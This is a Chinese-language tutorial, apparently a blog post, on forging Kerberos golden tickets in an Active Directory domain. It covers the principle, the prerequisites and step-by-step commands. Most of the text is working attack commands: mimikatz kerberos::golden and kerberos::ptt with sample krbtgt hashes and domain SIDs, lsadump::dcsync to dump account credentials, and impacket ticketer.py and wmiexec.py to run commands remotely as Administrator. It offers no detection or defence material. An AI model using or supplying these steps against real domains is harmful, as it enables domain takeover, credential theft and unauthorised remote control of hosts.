黄金票据的制作与使用
原理
黄金票据的原理就是用krbtgt的hash来伪造TGT的内容。更改里面的client参数与session key等。让TGS以为我就是那个我所声称的人,当然我一般会声称自己是administrator。第四步主要是来验证客户端的身份。
所谓的黄金票据其实就是kerberos认证的第二个阶段中的tgs的ticket也就是TGT。这个ticket相当于对请求端的一个身份认证的凭据,如果可以伪造这个ticket,那么就可以伪造任意身份,而黄金票据就是一个实现方式。
kerberos协议原理请参考:NTML认证与kerberos认证与PAC相关知识。
前置条件
1.krbtgt的hash
2.本地管理员权限
3.域的sid(普通用户的sid除去最后三位就是域的sid)
4.域内任意用户的本地管理员权限
操作步骤
清空已有票据
kerberos::purge
制作黄金票据
kerberos::golden/user:Administrator/domain:test.com/sid:S-1-5-21-4166986646-4168497534-2490551922 /krbtgt:308390d1ca7addf22c84ba9f1d26cbe4 /ticket:1.kirbi
加载黄金票据
kerberos::ptt 1.kirbi
检测成果
lsadump::dcsync /domain:test.com /user:krbtgt
使用mimikatz实现
mimikatz下载地址:https://github.com/gentilkiwi/mimikatz/releases
假设我们已经通过某种方式获得了域控的krbtgt的hash为d8d2ad72a119a8d418703f7a16580af6。
1.开启一个管理员权限的cmd窗口
2.使用mimikatz
第一步:提权&清空票据
klist purge #在cmd中执行
privilege::Debug
kerberos::purge
kerberos::list
第二步:制作黄金票据
获得域sid:S-1-5-21-3763276348-88739081-2848684050-1110
执行命令:
kerberos::golden /user:Administrator /domain:test.com /sid:S-1-5-21-3763276348-88739081-2848684050 /krbtgt:d8d2ad72a119a8d418703f7a16580af6 /ticket:1.kirbi
执行结束后,会在运行目录生成一个1.kirbi的文件。
第三步:使用黄金票据
这时候我们先看看能不能使用dcsync命令,这个命令是只有域控权限才能使用的,作用是导出域内所有用户的账号密码。当然结果肯定是失败的:
因为我们并没有域控的“身份证”也就是tgt。
这时候我们将刚制作好的伪造的tgt导入系统并进行测试:
kerberos::ptt 1.kirbi
lsadump::dcsync /domain:test.com /user:krbtgt
遇到的一些坑
做完票据后执行lsadump::dcsync /domain:test.com /user:krbtgt会报错。后来研究了很久才发现,只要稍等几分钟然后测试执行那个命令就会成功,或者退出mimikatz再进去就可以成功,原理我也不知道。
这种票据只会存在管理员权限的命令行窗口中,如果这时候换一个命令行窗口执行,就会发现没有这个凭证。
利用impacket实现
原理跟利用mimikatz一样,只是利用的工具不一样而已。
实现
第一步:打开管理员权限的命令行窗口并清空票据
第二步:制作ccache文件
python ticketer.py -nthash d8d2ad72a119a8d418703f7a16580af6 -domain-sid S-1-5-21-3763276348-88739081-2848684050 -domain test.com administrator
第三步:更改环境变量
set KRB5CCNAME=C:\Users\zhangsan\Desktop\impacket-examples-windows-master\administrator.ccache
第四步:验证成果
python wmiexec.py test.com/administrator@yukong -k -no-pass
总结
利用impacket来进行票据的制作有一定的局限性,制作完票据后在klist命令下是看不到缓存的。也没办法使用net use \\ip\admin$ 来建立管道连接。但可以使用其自带的工具在在一定的命令格式下进行远控指定主机。命令格式为:
xxxx.py domain/username@hostname -k -no-pass
这里的domain必须跟systeminfo中的domain的值一样。
hostname 可以通过net view命令,或者nbtstat -A ip,或者ping -a ip来确定,推荐ping -a命令。
因为test为域名,所以yukong就为主机名。
FQDN是什么?
FQDN是完全合格域名/全程域名缩写,Fully Qualified Domain Name,即是域名,访问时将由DNS进行解析,得到IP。FQDN = Hostname + DomainName,举个例子,一个公司申请了域名comp.com,这时候有一台主机名为web,则可以使用web.comp.com得到这个主机IP。若还有两台提供邮件和OA服务的主机cmail,oa,则这时候可以用以下FQDN:
cmail.comp.com
oa.comp.com
impacket的更多用法请看下面这篇文章:
https://blog.csdn.net/qq_41874930/article/details/108253531